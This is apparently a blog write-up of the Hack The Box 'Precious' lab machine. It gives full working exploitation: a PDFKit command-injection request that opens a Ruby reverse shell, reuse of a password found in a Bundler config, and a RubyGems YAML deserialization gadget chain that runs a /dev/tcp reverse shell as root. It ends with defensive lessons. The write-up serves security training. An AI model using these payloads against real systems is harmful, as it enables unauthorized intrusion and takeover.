Slop Overflow grep

Precious - An HTB easy machine

4 min read Giuslock topic:ctf, htb

Precious - An HTB easy machine

Link to target

Hostname: precious.htb
Difficulty: Easy
OS: Linux (Debian)

Platform Hack The Box
Difficulty Easy
OS Linux (Debian)
Domain precious.htb

Table of Contents


Summary

Precious exposes an application that converts a user-supplied web page into a
PDF. The generated file's metadata reveals PDFKit 0.8.6, which is vulnerable
to command injection (CVE-2022-25765) and can be exploited to obtain a shell
as ruby. This account's Bundler configuration discloses the credentials for
henry. Finally, henry can run as root a script that deserializes a
user-controlled file with YAML.load; a RubyGems gadget chain leads to root.


Reconnaissance

Nmap

nmap -vvv -p 22,80 -sVC -oN precious.txt 10.129.59.63
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
echo '10.129.59.63 precious.htb' | sudo tee -a /etc/hosts

Web application

The site fetches a URL and returns a PDF of the page. To test it, an HTML file
can be hosted on the attacking machine:

python3 -m http.server 8000
# enter in the application: http://10.10.15.133:8000/test.html

The metadata identifies the vulnerable component:

exiftool x8fswl4vu0mvvblxp5nets07u9xga77s.pdf
Creator : Generated by PDFKit v0.8.6

Key Findings

  • 22/tcp — OpenSSH 8.4p1 on Debian, useful after recovering credentials.
  • 80/tcp — nginx serves an HTML-to-PDF converter based on PDFKit 0.8.6.

Foothold — PDFKit command injection

PDFKit 0.8.6 passes the URL to wkhtmltopdf without properly neutralizing
certain characters. CVE-2022-25765 makes it possible to inject a
backtick-delimited command into the URL and have the conversion process execute
it.

Exploitation

rlwrap nc -lvnp 4444
curl 'http://precious.htb/' \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'url=http%3A%2F%2F10.10.15.133%3A4444%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.15.133%22%2C4444%29%29%27%60'

The decoded payload is:

http://10.10.15.133:4444/?name=%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.15.133",4444))'`

Double-encoding %20 as %2520 preserves the required space before the
backtick after the form is decoded once. Reference PoC:
shamo0/PDFkit-CMD-Injection.

Result: a shell as ruby.

ruby@precious:/var/www/pdfapp$ whoami
ruby

Lateral Movement — ruby to henry

/home contains the ruby and henry accounts. LinPEAS highlights an
unusual Bundler configuration file:

cat /home/ruby/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:[REDACTED]"

The password is reused by the local henry account:

su - henry
# password: [REDACTED]

Result: a shell as henry.

cat /home/henry/user.txt
# [REDACTED]

Privilege Escalation — unsafe YAML deserialization

Enumeration

sudo -l
User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

The privileged script reads dependencies.yml from the current working
directory
and passes it directly to YAML.load:

def list_from_file
  YAML.load(File.read("dependencies.yml"))
end

The legitimate /opt/sample/dependencies.yml file contains:

yaml: 0.1.1
pdfkit: 0.8.6

However, the relative path and unsafe deserialization allow henry to make
root load an arbitrary object chain.

Exploitation

On the attacking machine:

rlwrap nc -lvnp 5555

In a directory controlled by henry, create dependencies.yml:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "bash -c 'bash -i >& /dev/tcp/10.10.15.133/5555 0>&1'"
         method_id: :resolve

Run the script from the directory containing the payload:

mkdir -p /tmp/precious
cd /tmp/precious
# save dependencies.yml here
sudo /usr/bin/ruby /opt/update_dependencies.rb

During YAML.load, object reconstruction reaches Kernel.system and
executes the reverse shell stored in git_set.

whoami
root

Root Flag

cat /root/root.txt
# [REDACTED]

Flags

Flag Location
user.txt /home/henry/user.txt[REDACTED]
root.txt /root/root.txt[REDACTED]

Vulnerability Summary

# Vulnerability CVE Impact
1 PDFKit 0.8.6 command injection CVE-2022-25765 Unauthenticated RCE as ruby
2 Cleartext credentials in the Bundler configuration Access to henry through password reuse
3 sudo access to a script using YAML.load and a relative path Code execution as root

Attack Chain

                         UNAUTHENTICATED
                               |
                    HTTP :80 — HTML-to-PDF app
                    PDF metadata: PDFKit 0.8.6
                               |
                 CVE-2022-25765 command injection
                               |
                         RCE as ruby
                               |
             /home/ruby/.bundle/config credentials
                 henry:[REDACTED]
                               |
                  password reuse -> su henry
                    USER FLAG: [REDACTED]
                               |
        sudo ruby /opt/update_dependencies.rb (NOPASSWD)
          relative dependencies.yml + unsafe YAML.load
                               |
              RubyGems gadget chain -> Kernel.system
                               |
                         ROOT as root
                    ROOT FLAG: [REDACTED]

Lessons Learned

  • Metadata is part of enumeration — the PDF's Creator field reveals the
    exact version of the vulnerable component.
  • Package-manager configuration files may contain secrets.bundle/config
    should have minimal permissions, and its passwords must not be reused.
  • Do not use YAML.load on attacker-controlled input — use
    YAML.safe_load with a minimal allowlist to prevent arbitrary object
    construction.
  • A sudo rule is only as safe as all of its inputs — a root script should
    read root-owned files from absolute paths and validate their contents.
© 2026 Giuslock — Security field notes, writeups, and useful skepticism.